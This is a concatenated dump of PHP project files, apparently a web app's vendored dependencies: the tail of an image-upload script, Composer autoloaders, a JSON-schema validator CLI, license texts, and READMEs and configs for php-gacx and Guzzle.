27 // Allow certain file formats
28 if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
29 && $imageFileType != "gif" ) {
30 echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
31 $uploadOk = 0;
32 }
33 // Check if $uploadOk is set to 0 by an error
34 if ($uploadOk == 0) {
35 echo "Sorry, your file was not uploaded.";
36 // if everything is ok, try to upload file
37 } else {
38 if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
39 echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
40 } else {
41 echo "Sorry, there was an error uploading your file.";
42 }
43 }
44 ?>
45
46
1 <?php
2
3 // autoload.php @generated by Composer
4
5 require_once __DIR__ . '/composer/autoload_real.php';
6
7 return ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074::getLoader();
1 #!/usr/bin/env php
2 <?php
3 /**
4 * JSON schema validator
5 *
6 * @author Christian Weiske <christian.weiske@netresearch.de>
7 */
8
9 /**
10 * Dead simple autoloader
11 *
12 * @param string $className Name of class to load
13 *
14 * @return void
15 */
16 function __autoload($className)
17 {
18 $className = ltrim($className, '\\');
19 $fileName = '';
20 $namespace = '';
21 if ($lastNsPos = strrpos($className, '\\')) {
22 $namespace = substr($className, 0, $lastNsPos);
23 $className = substr($className, $lastNsPos + 1);
24 $fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
25 }
26 $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
27 if (stream_resolve_include_path($fileName)) {
28 require_once $fileName;
29 }
30 }
31
32 /**
33 * Show the json parse error that happened last
34 *
35 * @return void
36 */
37 function showJsonError()
38 {
39 $constants = get_defined_constants(true);
40 $json_errors = array();
41 foreach ($constants['json'] as $name => $value) {
42 if (!strncmp($name, 'JSON_ERROR_', 11)) {
43 $json_errors[$value] = $name;
44 }
45 }
46
47 echo 'JSON parse error: ' . $json_errors[json_last_error()] . "\n";
48 }
49
50 function getUrlFromPath($path)
51 {
52 if (parse_url($path, PHP_URL_SCHEME) !== null) {
53 //already an URL
54 return $path;
55 }
56 if ($path{0} == '/') {
57 //absolute path
58 return 'file://' . $path;
59 }
60
61 //relative path: make absolute
62 return 'file://' . getcwd() . '/' . $path;
63 }
64
65 /**
66 * Take a HTTP header value and split it up into parts.
67 *
68 * @param $headerValue
69 * @return array Key "_value" contains the main value, all others
70 * as given in the header value
71 */
72 function parseHeaderValue($headerValue)
73 {
74 if (strpos($headerValue, ';') === false) {
75 return array('_value' => $headerValue);
76 }
77
78 $parts = explode(';', $headerValue);
79 $arData = array('_value' => array_shift($parts));
80 foreach ($parts as $part) {
81 list($name, $value) = explode('=', $part);
82 $arData[$name] = trim($value, ' "\'');
83 }
84 return $arData;
85 }
86
87
88 // support running this tool from git checkout
89 if (is_dir(__DIR__ . '/../src/JsonSchema')) {
90 set_include_path(__DIR__ . '/../src' . PATH_SEPARATOR . get_include_path());
91 }
92
93 $arOptions = array();
94 $arArgs = array();
95 array_shift($argv);//script itself
96 foreach ($argv as $arg) {
97 if ($arg{0} == '-') {
98 $arOptions[$arg] = true;
99 } else {
100 $arArgs[] = $arg;
101 }
102 }
103
104 if (count($arArgs) == 0
105 || isset($arOptions['--help']) || isset($arOptions['-h'])
106 ) {
107 echo <<<HLP
108 Validate schema
109 Usage: validate-json data.json
110 or: validate-json data.json schema.json
111
112 Options:
113 --dump-schema Output full schema and exit
114 --dump-schema-url Output URL of schema
115 -h --help Show this help
116
117 HLP;
118 exit(1);
119 }
120
121 if (count($arArgs) == 1) {
122 $pathData = $arArgs[0];
123 $pathSchema = null;
124 } else {
125 $pathData = $arArgs[0];
126 $pathSchema = getUrlFromPath($arArgs[1]);
127 }
128
129 $urlData = getUrlFromPath($pathData);
130
131 $context = stream_context_create(
132 array(
133 'http' => array(
134 'header' => array(
135 'Accept: */*',
136 'Connection: Close'
137 ),
138 'max_redirects' => 5
139 )
140 )
141 );
142 $dataString = file_get_contents($pathData, false, $context);
143 if ($dataString == '') {
144 echo "Data file is not readable or empty.\n";
145 exit(3);
146 }
147
148 $data = json_decode($dataString);
149 unset($dataString);
150 if ($data === null) {
151 echo "Error loading JSON data file\n";
152 showJsonError();
153 exit(5);
154 }
155
156 if ($pathSchema === null) {
157 if (isset($http_response_header)) {
158 array_shift($http_response_header);//HTTP/1.0 line
159 foreach ($http_response_header as $headerLine) {
160 list($hName, $hValue) = explode(':', $headerLine, 2);
161 $hName = strtolower($hName);
162 if ($hName == 'link') {
163 //Link: <http://example.org/schema#>; rel="describedBy"
164 $hParts = parseHeaderValue($hValue);
165 if (isset($hParts['rel']) && $hParts['rel'] == 'describedBy') {
166 $pathSchema = trim($hParts['_value'], ' <>');
167 }
168 } else if ($hName == 'content-type') {
169 //Content-Type: application/my-media-type+json;
170 // profile=http://example.org/schema#
171 $hParts = parseHeaderValue($hValue);
172 if (isset($hParts['profile'])) {
173 $pathSchema = $hParts['profile'];
174 }
175
176 }
177 }
178 }
179 if (is_object($data) && property_exists($data, '$schema')) {
180 $pathSchema = $data->{'$schema'};
181 }
182
183 //autodetect schema
184 if ($pathSchema === null) {
185 echo "JSON data must be an object and have a \$schema property.\n";
186 echo "You can pass the schema file on the command line as well.\n";
187 echo "Schema autodetection failed.\n";
188 exit(6);
189 }
190 }
191 if ($pathSchema{0} == '/') {
192 $pathSchema = 'file://' . $pathSchema;
193 }
194
195 $resolver = new JsonSchema\Uri\UriResolver();
196 $retriever = new JsonSchema\Uri\UriRetriever();
197 try {
198 $urlSchema = $resolver->resolve($pathSchema, $urlData);
199
200 if (isset($arOptions['--dump-schema-url'])) {
201 echo $urlSchema . "\n";
202 exit();
203 }
204 } catch (Exception $e) {
205 echo "Error loading JSON schema file\n";
206 echo $urlSchema . "\n";
207 echo $e->getMessage() . "\n";
208 exit(2);
209 }
210 $refResolver = new JsonSchema\SchemaStorage($retriever, $resolver);
211 $schema = $refResolver->resolveRef($urlSchema);
212
213 if (isset($arOptions['--dump-schema'])) {
214 $options = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0;
215 echo json_encode($schema, $options) . "\n";
216 exit();
217 }
218
219 try {
220 $validator = new JsonSchema\Validator();
221 $validator->check($data, $schema);
222
223 if ($validator->isValid()) {
224 echo "OK. The supplied JSON validates against the schema.\n";
225 } else {
226 echo "JSON does not validate. Violations:\n";
227 foreach ($validator->getErrors() as $error) {
228 echo sprintf("[%s] %s\n", $error['property'], $error['message']);
229 }
230 exit(23);
231 }
232 } catch (Exception $e) {
233 echo "JSON does not validate. Error:\n";
234 echo $e->getMessage() . "\n";
235 echo "Error code: " . $e->getCode() . "\n";
236 exit(24);
237 }
1 GNU LESSER GENERAL PUBLIC LICENSE
2 Version 3, 29 June 2007
3
4 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
5 Everyone is permitted to copy and distribute verbatim copies
6 of this license document, but changing it is not allowed.
7
8
9 This version of the GNU Lesser General Public License incorporates
10 the terms and conditions of version 3 of the GNU General Public
11 License, supplemented by the additional permissions listed below.
12
13 0. Additional Definitions.
14
15 As used herein, "this License" refers to version 3 of the GNU Lesser
16 General Public License, and the "GNU GPL" refers to version 3 of the GNU
17 General Public License.
18
19 "The Library" refers to a covered work governed by this License,
20 other than an Application or a Combined Work as defined below.
21
22 An "Application" is any work that makes use of an interface provided
23 by the Library, but which is not otherwise based on the Library.
24 Defining a subclass of a class defined by the Library is deemed a mode
25 of using an interface provided by the Library.
26
27 A "Combined Work" is a work produced by combining or linking an
28 Application with the Library. The particular version of the Library
29 with which the Combined Work was made is also called the "Linked
30 Version".
31
32 The "Minimal Corresponding Source" for a Combined Work means the
33 Corresponding Source for the Combined Work, excluding any source code
34 for portions of the Combined Work that, considered in isolation, are
35 based on the Application, and not on the Linked Version.
36
37 The "Corresponding Application Code" for a Combined Work means the
38 object code and/or source code for the Application, including any data
39 and utility programs needed for reproducing the Combined Work from the
40 Application, but excluding the System Libraries of the Combined Work.
41
42 1. Exception to Section 3 of the GNU GPL.
43
44 You may convey a covered work under sections 3 and 4 of this License
45 without being bound by section 3 of the GNU GPL.
46
47 2. Conveying Modified Versions.
48
49 If you modify a copy of the Library, and, in your modifications, a
50 facility refers to a function or data to be supplied by an Application
51 that uses the facility (other than as an argument passed when the
52 facility is invoked), then you may convey a copy of the modified
53 version:
54
55 a) under this License, provided that you make a good faith effort to
56 ensure that, in the event an Application does not supply the
57 function or data, the facility still operates, and performs
58 whatever part of its purpose remains meaningful, or
59
60 b) under the GNU GPL, with none of the additional permissions of
61 this License applicable to that copy.
62
63 3. Object Code Incorporating Material from Library Header Files.
64
65 The object code form of an Application may incorporate material from
66 a header file that is part of the Library. You may convey such object
67 code under terms of your choice, provided that, if the incorporated
68 material is not limited to numerical parameters, data structure
69 layouts and accessors, or small macros, inline functions and templates
70 (ten or fewer lines in length), you do both of the following:
71
72 a) Give prominent notice with each copy of the object code that the
73 Library is used in it and that the Library and its use are
74 covered by this License.
75
76 b) Accompany the object code with a copy of the GNU GPL and this license
77 document.
78
79 4. Combined Works.
80
81 You may convey a Combined Work under terms of your choice that,
82 taken together, effectively do not restrict modification of the
83 portions of the Library contained in the Combined Work and reverse
84 engineering for debugging such modifications, if you also do each of
85 the following:
86
87 a) Give prominent notice with each copy of the Combined Work that
88 the Library is used in it and that the Library and its use are
89 covered by this License.
90
91 b) Accompany the Combined Work with a copy of the GNU GPL and this license
92 document.
93
94 c) For a Combined Work that displays copyright notices during
95 execution, include the copyright notice for the Library among
96 these notices, as well as a reference directing the user to the
97 copies of the GNU GPL and this license document.
98
99 d) Do one of the following:
100
101 0) Convey the Minimal Corresponding Source under the terms of this
102 License, and the Corresponding Application Code in a form
103 suitable for, and under terms that permit, the user to
104 recombine or relink the Application with a modified version of
105 the Linked Version to produce a modified Combined Work, in the
106 manner specified by section 6 of the GNU GPL for conveying
107 Corresponding Source.
108
109 1) Use a suitable shared library mechanism for linking with the
110 Library. A suitable mechanism is one that (a) uses at run time
111 a copy of the Library already present on the user's computer
112 system, and (b) will operate properly with a modified version
113 of the Library that is interface-compatible with the Linked
114 Version.
115
116 e) Provide Installation Information, but only if you would otherwise
117 be required to provide such information under section 6 of the
118 GNU GPL, and only to the extent that such information is
119 necessary to install and execute a modified version of the
120 Combined Work produced by recombining or relinking the
121 Application with a modified version of the Linked Version. (If
122 you use option 4d0, the Installation Information must accompany
123 the Minimal Corresponding Source and Corresponding Application
124 Code. If you use option 4d1, you must provide the Installation
125 Information in the manner specified by section 6 of the GNU GPL
126 for conveying Corresponding Source.)
127
128 5. Combined Libraries.
129
130 You may place library facilities that are a work based on the
131 Library side by side in a single library together with other library
132 facilities that are not Applications and are not covered by this
133 License, and convey such a combined library under terms of your
134 choice, if you do both of the following:
135
136 a) Accompany the combined library with a copy of the same work based
137 on the Library, uncombined with any other library facilities,
138 conveyed under the terms of this License.
139
140 b) Give prominent notice with the combined library that part of it
141 is a work based on the Library, and explaining where to find the
142 accompanying uncombined form of the same work.
143
144 6. Revised Versions of the GNU Lesser General Public License.
145
146 The Free Software Foundation may publish revised and/or new versions
147 of the GNU Lesser General Public License from time to time. Such new
148 versions will be similar in spirit to the present version, but may
149 differ in detail to address new problems or concerns.
150
151 Each version is given a distinguishing version number. If the
152 Library as you received it specifies that a certain numbered version
153 of the GNU Lesser General Public License "or any later version"
154 applies to it, you have the option of following the terms and
155 conditions either of that published version or of any later version
156 published by the Free Software Foundation. If the Library as you
157 received it does not specify a version number of the GNU Lesser
158 General Public License, you may choose any version of the GNU Lesser
159 General Public License ever published by the Free Software Foundation.
160
161 If the Library as you received it specifies that a proxy can decide
162 whether future versions of the GNU Lesser General Public License shall
163 apply, that proxy's public statement of acceptance of any version is
164 permanent authorization for you to choose that version for the
165 Library.
1 Server-Side GA Content Experiments
2 ===========================================================================================
3
4 While this is a standalone library, you might also be interested in the companion project
5 for general server-side Google Analytics tracking:
6 [php-ga](https://github.com/thomasbachem/php-ga).
7
8
9 About
10 -------------------------------------------------------------------------------------------
11
12 php-gacx is basically Google's [cx/api.js](https://developers.google.com/analytics/devguides/collection/gajs/experiments#cxjs)
13 in PHP: A server-side implementation that allows you to control and implement
14 [Content Experiments](https://developers.google.com/analytics/devguides/platform/features/experiments-overview)
15 entirely on the server.
16
17 This is done by parsing experiment data to make use of GA's multi-armed bandit algorithm
18 as well as programmatically modifying the "\_\_utmx" and "\_\_utmxx" cookies.
19
20 This does however depend on Google Analytics being used in the browser, see "Usage" below.
21
22 This library might become obsolete as soon as Google implements Content Experiments into
23 their [Measurement Protocol](https://developers.google.com/analytics/devguides/collection/protocol/v1/).
24
25
26 Requirements
27 -------------------------------------------------------------------------------------------
28
29 Requires PHP 5.3+ as namespaces and closures are used. Has no other dependencies and can
30 be used independantly from any framework or whatsoever environment.
31
32
33 Usage Example
34 -------------------------------------------------------------------------------------------
35
36 All methods match the ones from the JS API, so using php-gacx is pretty straightforward if
37 you've experience with [cx/api.js](https://developers.google.com/analytics/devguides/collection/gajs/experiments#cxjs):
38
39 ```php
40 use UnitedPrototype\GoogleAnalytics;
41
42 $experiment = new GoogleAnalytics\Experiment('reBreiK2QpOws-pJlkla1o');
43
44 $variation = $experiment->chooseVariation();
45 ```
46
47 In order to have the experiment data transferred to Google Analytics, you need to use
48 Google Analytics on the client side either via the traditional `ga.js` or Google's new
49 `analytics.js` (Universal Analytics).
50
51 `ga.js` will work out of the box, as it simply consider and include the "\_\_utmx"
52 cookie value when sending tracking data to Google Analytics.
53
54 `analytics.js` does sadly no longer consider the "\_\_utmx" cookie. You will therefore
55 have to tell it via Javascript which variation of an experiment has been chosen, and
56 it's limited to one experiment per page. Example:
57 ```js
58 // Hand over experiment data to analytics.js, as it ignores the "__utmx" cookie
59 window.gaData = {
60 expId: '<?= $experiment->getId(); ?>',
61 expVar: '<?= $experiment->getChosenVariation(); ?>'
62 };
63 ```
64 The advantage of using php-gacx here is still that you can choose the variation on the
65 server-side while still making use of the multi-armed bandit algorithm considering the
66 variation's different weights.
67
68
69 Disclaimer
70 -------------------------------------------------------------------------------------------
71
72 Google Analytics is a registered trademark of Google Inc.
...\ No newline at end of file ...\ No newline at end of file
1 {
2 "name": "clippings/php-gacx",
3 "type": "library",
4 "description": "Server-side GA Content Experiments",
5 "homepage": "https://github.com/thomasbachem/php-gacx",
6 "license": "LGPL-3.0+",
7 "authors": [
8 {
9 "name": "Thomas Bachem",
10 "email": "mail@thomasbachem.com",
11 "homepage": "http://thomasbachem.com"
12 }
13 ],
14 "autoload": {
15 "psr-4": { "UnitedPrototype\\" : "src/" }
16 }
17 }
1 <?php
2
3 spl_autoload_register(function($className) {
4 if($className[0] == '\\') {
5 $className = substr($className, 1);
6 }
7
8 // Leave if class should not be handled by this autoloader
9 if(strpos($className, 'UnitedPrototype\\GoogleAnalytics') !== 0) return;
10
11 $classPath = strtr(substr($className, strlen('UnitedPrototype')), '\\', '/') . '.php';
12
13 if(file_exists(__DIR__ . $classPath)) {
14 require(__DIR__ . $classPath);
15 }
16 });
17
18 ?>
...\ No newline at end of file ...\ No newline at end of file
1
2 Copyright (c) 2016 Nils Adermann, Jordi Boggiano
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is furnished
9 to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
20 THE SOFTWARE.
21
1 <?php
2
3 // autoload_classmap.php @generated by Composer
4
5 $vendorDir = dirname(dirname(__FILE__));
6 $baseDir = dirname($vendorDir);
7
8 return array(
9 );
1 <?php
2
3 // autoload_files.php @generated by Composer
4
5 $vendorDir = dirname(dirname(__FILE__));
6 $baseDir = dirname($vendorDir);
7
8 return array(
9 'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php',
10 'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php',
11 '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
12 '7f939cf3886f8168713c84dc1019984a' => $vendorDir . '/lastguest/murmurhash/murmurhash3.php',
13 );
1 <?php
2
3 // autoload_namespaces.php @generated by Composer
4
5 $vendorDir = dirname(dirname(__FILE__));
6 $baseDir = dirname($vendorDir);
7
8 return array(
9 );
1 <?php
2
3 // autoload_psr4.php @generated by Composer
4
5 $vendorDir = dirname(dirname(__FILE__));
6 $baseDir = dirname($vendorDir);
7
8 return array(
9 'UnitedPrototype\\' => array($vendorDir . '/clippings/php-gacx/src'),
10 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'),
11 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-message/src'),
12 'Monolog\\' => array($vendorDir . '/monolog/monolog/src/Monolog'),
13 'JsonSchema\\' => array($vendorDir . '/justinrainbow/json-schema/src/JsonSchema'),
14 'GuzzleHttp\\Psr7\\' => array($vendorDir . '/guzzlehttp/psr7/src'),
15 'GuzzleHttp\\Promise\\' => array($vendorDir . '/guzzlehttp/promises/src'),
16 'GuzzleHttp\\' => array($vendorDir . '/guzzlehttp/guzzle/src'),
17 '' => array($vendorDir . '/optimizely/optimizely-sdk/src'),
18 );
1 <?php
2
3 // autoload_real.php @generated by Composer
4
5 class ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074
6 {
7 private static $loader;
8
9 public static function loadClassLoader($class)
10 {
11 if ('Composer\Autoload\ClassLoader' === $class) {
12 require __DIR__ . '/ClassLoader.php';
13 }
14 }
15
16 public static function getLoader()
17 {
18 if (null !== self::$loader) {
19 return self::$loader;
20 }
21
22 spl_autoload_register(array('ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074', 'loadClassLoader'), true, true);
23 self::$loader = $loader = new \Composer\Autoload\ClassLoader();
24 spl_autoload_unregister(array('ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074', 'loadClassLoader'));
25
26 $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
27 if ($useStaticLoader) {
28 require_once __DIR__ . '/autoload_static.php';
29
30 call_user_func(\Composer\Autoload\ComposerStaticInit53a07c25c5e3bda61da7290c91327074::getInitializer($loader));
31 } else {
32 $map = require __DIR__ . '/autoload_namespaces.php';
33 foreach ($map as $namespace => $path) {
34 $loader->set($namespace, $path);
35 }
36
37 $map = require __DIR__ . '/autoload_psr4.php';
38 foreach ($map as $namespace => $path) {
39 $loader->setPsr4($namespace, $path);
40 }
41
42 $classMap = require __DIR__ . '/autoload_classmap.php';
43 if ($classMap) {
44 $loader->addClassMap($classMap);
45 }
46 }
47
48 $loader->register(true);
49
50 if ($useStaticLoader) {
51 $includeFiles = Composer\Autoload\ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$files;
52 } else {
53 $includeFiles = require __DIR__ . '/autoload_files.php';
54 }
55 foreach ($includeFiles as $fileIdentifier => $file) {
56 composerRequire53a07c25c5e3bda61da7290c91327074($fileIdentifier, $file);
57 }
58
59 return $loader;
60 }
61 }
62
63 function composerRequire53a07c25c5e3bda61da7290c91327074($fileIdentifier, $file)
64 {
65 if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
66 require $file;
67
68 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
69 }
70 }
1 <?php
2
3 // autoload_static.php @generated by Composer
4
5 namespace Composer\Autoload;
6
7 class ComposerStaticInit53a07c25c5e3bda61da7290c91327074
8 {
9 public static $files = array (
10 'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php',
11 'a0edc8309cc5e1d60e3047b5df6b7052' => __DIR__ . '/..' . '/guzzlehttp/psr7/src/functions_include.php',
12 '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
13 '7f939cf3886f8168713c84dc1019984a' => __DIR__ . '/..' . '/lastguest/murmurhash/murmurhash3.php',
14 );
15
16 public static $prefixLengthsPsr4 = array (
17 'U' =>
18 array (
19 'UnitedPrototype\\' => 16,
20 ),
21 'P' =>
22 array (
23 'Psr\\Log\\' => 8,
24 'Psr\\Http\\Message\\' => 17,
25 ),
26 'M' =>
27 array (
28 'Monolog\\' => 8,
29 ),
30 'J' =>
31 array (
32 'JsonSchema\\' => 11,
33 ),
34 'G' =>
35 array (
36 'GuzzleHttp\\Psr7\\' => 16,
37 'GuzzleHttp\\Promise\\' => 19,
38 'GuzzleHttp\\' => 11,
39 ),
40 );
41
42 public static $prefixDirsPsr4 = array (
43 'UnitedPrototype\\' =>
44 array (
45 0 => __DIR__ . '/..' . '/clippings/php-gacx/src',
46 ),
47 'Psr\\Log\\' =>
48 array (
49 0 => __DIR__ . '/..' . '/psr/log/Psr/Log',
50 ),
51 'Psr\\Http\\Message\\' =>
52 array (
53 0 => __DIR__ . '/..' . '/psr/http-message/src',
54 ),
55 'Monolog\\' =>
56 array (
57 0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog',
58 ),
59 'JsonSchema\\' =>
60 array (
61 0 => __DIR__ . '/..' . '/justinrainbow/json-schema/src/JsonSchema',
62 ),
63 'GuzzleHttp\\Psr7\\' =>
64 array (
65 0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
66 ),
67 'GuzzleHttp\\Promise\\' =>
68 array (
69 0 => __DIR__ . '/..' . '/guzzlehttp/promises/src',
70 ),
71 'GuzzleHttp\\' =>
72 array (
73 0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src',
74 ),
75 );
76
77 public static $fallbackDirsPsr4 = array (
78 0 => __DIR__ . '/..' . '/optimizely/optimizely-sdk/src',
79 );
80
81 public static function getInitializer(ClassLoader $loader)
82 {
83 return \Closure::bind(function () use ($loader) {
84 $loader->prefixLengthsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$prefixLengthsPsr4;
85 $loader->prefixDirsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$prefixDirsPsr4;
86 $loader->fallbackDirsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$fallbackDirsPsr4;
87
88 }, null, ClassLoader::class);
89 }
90 }
1 language: php
2
3 sudo: false
4
5 php:
6 - 5.5
7 - 5.6
8 - 7.0
9 - 7.1
10 - hhvm
11
12 before_script:
13 - curl --version
14 - composer install --no-interaction --prefer-source --dev
15 - ~/.nvm/nvm.sh install v0.6.14
16 - ~/.nvm/nvm.sh run v0.6.14
17 - '[ "$TRAVIS_PHP_VERSION" != "7.0" ] || echo "xdebug.overload_var_dump = 1" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini'
18
19 script: make test
20
21 matrix:
22 allow_failures:
23 - php: hhvm
24 fast_finish: true
25
26 before_deploy:
27 - rvm 1.9.3 do gem install mime-types -v 2.6.2
28 - make package
29
30 deploy:
31 provider: releases
32 api_key:
33 secure: UpypqlYgsU68QT/x40YzhHXvzWjFwCNo9d+G8KAdm7U9+blFfcWhV1aMdzugvPMl6woXgvJj7qHq5tAL4v6oswCORhpSBfLgOQVFaica5LiHsvWlAedOhxGmnJqMTwuepjBCxXhs3+I8Kof1n4oUL9gKytXjOVCX/f7XU1HiinU=
34 file:
35 - build/artifacts/guzzle.phar
36 - build/artifacts/guzzle.zip
37 on:
38 repo: guzzle/guzzle
39 tags: true
40 all_branches: true
41 php: 5.5
1 Copyright (c) 2011-2016 Michael Dowling, https://github.com/mtdowling <mtdowling@gmail.com>
2
3 Permission is hereby granted, free of charge, to any person obtaining a copy
4 of this software and associated documentation files (the "Software"), to deal
5 in the Software without restriction, including without limitation the rights
6 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 copies of the Software, and to permit persons to whom the Software is
8 furnished to do so, subject to the following conditions:
9
10 The above copyright notice and this permission notice shall be included in
11 all copies or substantial portions of the Software.
12
13 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 THE SOFTWARE.
1 Guzzle, PHP HTTP client
2 =======================
3
4 [![Build Status](https://travis-ci.org/guzzle/guzzle.svg?branch=master)](https://travis-ci.org/guzzle/guzzle)
5
6 Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and
7 trivial to integrate with web services.
8
9 - Simple interface for building query strings, POST requests, streaming large
10 uploads, streaming large downloads, using HTTP cookies, uploading JSON data,
11 etc...
12 - Can send both synchronous and asynchronous requests using the same interface.
13 - Uses PSR-7 interfaces for requests, responses, and streams. This allows you
14 to utilize other PSR-7 compatible libraries with Guzzle.
15 - Abstracts away the underlying HTTP transport, allowing you to write
16 environment and transport agnostic code; i.e., no hard dependency on cURL,
17 PHP streams, sockets, or non-blocking event loops.
18 - Middleware system allows you to augment and compose client behavior.
19
20 ```php
21 $client = new \GuzzleHttp\Client();
22 $res = $client->request('GET', 'https://api.github.com/user', [
23 'auth' => ['user', 'pass']
24 ]);
25 echo $res->getStatusCode();
26 // 200
27 echo $res->getHeaderLine('content-type');
28 // 'application/json; charset=utf8'
29 echo $res->getBody();
30 // {"type":"User"...'
31
32 // Send an asynchronous request.
33 $request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org');
34 $promise = $client->sendAsync($request)->then(function ($response) {
35 echo 'I completed! ' . $response->getBody();
36 });
37 $promise->wait();
38 ```
39
40 ## Help and docs
41
42 - [Documentation](http://guzzlephp.org/)
43 - [stackoverflow](http://stackoverflow.com/questions/tagged/guzzle)
44 - [Gitter](https://gitter.im/guzzle/guzzle)
45
46
47 ## Installing Guzzle
48
49 The recommended way to install Guzzle is through
50 [Composer](http://getcomposer.org).
51
52 ```bash
53 # Install Composer
54 curl -sS https://getcomposer.org/installer | php
55 ```
56
57 Next, run the Composer command to install the latest stable version of Guzzle:
58
59 ```bash
60 php composer.phar require guzzlehttp/guzzle
61 ```
62
63 After installing, you need to require Composer's autoloader:
64
65 ```php
66 require 'vendor/autoload.php';
67 ```
68
69 You can then later update Guzzle using composer:
70
71 ```bash
72 composer.phar update
73 ```
74
75
76 ## Version Guidance
77
78 | Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 |
79 |---------|-------------|---------------------|--------------|---------------------|---------------------|-------|
80 | 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No |
81 | 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | N/A | N/A | No |
82 | 5.x | Maintained | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No |
83 | 6.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes |
84
85 [guzzle-3-repo]: https://github.com/guzzle/guzzle3
86 [guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3
87 [guzzle-6-repo]: https://github.com/guzzle/guzzle
88 [guzzle-3-docs]: http://guzzle3.readthedocs.org/en/latest/
89 [guzzle-5-docs]: http://guzzle.readthedocs.org/en/5.3/
90 [guzzle-6-docs]: http://guzzle.readthedocs.org/en/latest/
1 {
2 "name": "guzzlehttp/guzzle",
3 "type": "library",
4 "description": "Guzzle is a PHP HTTP client library",
5 "keywords": ["framework", "http", "rest", "web service", "curl", "client", "HTTP client"],
6 "homepage": "http://guzzlephp.org/",
7 "license": "MIT",
8 "authors": [
9 {
10 "name": "Michael Dowling",
11 "email": "mtdowling@gmail.com",
12 "homepage": "https://github.com/mtdowling"
13 }
14 ],
15 "require": {
16 "php": ">=5.5",
17 "guzzlehttp/psr7": "^1.3.1",
18 "guzzlehttp/promises": "^1.0"
19 },
20 "require-dev": {
21 "ext-curl": "*",
22 "phpunit/phpunit": "^4.0",
23 "psr/log": "^1.0"
24 },
25 "autoload": {
26 "files": ["src/functions_include.php"],
27 "psr-4": {
28 "GuzzleHttp\\": "src/"
29 }
30 },
31 "autoload-dev": {
32 "psr-4": {
33 "GuzzleHttp\\Tests\\": "tests/"
34 }
35 },
36 "extra": {
37 "branch-alias": {
38 "dev-master": "6.2-dev"
39 }
40 }
41 }
1 <?php
2 namespace GuzzleHttp;
3
4 use GuzzleHttp\Promise\PromiseInterface;
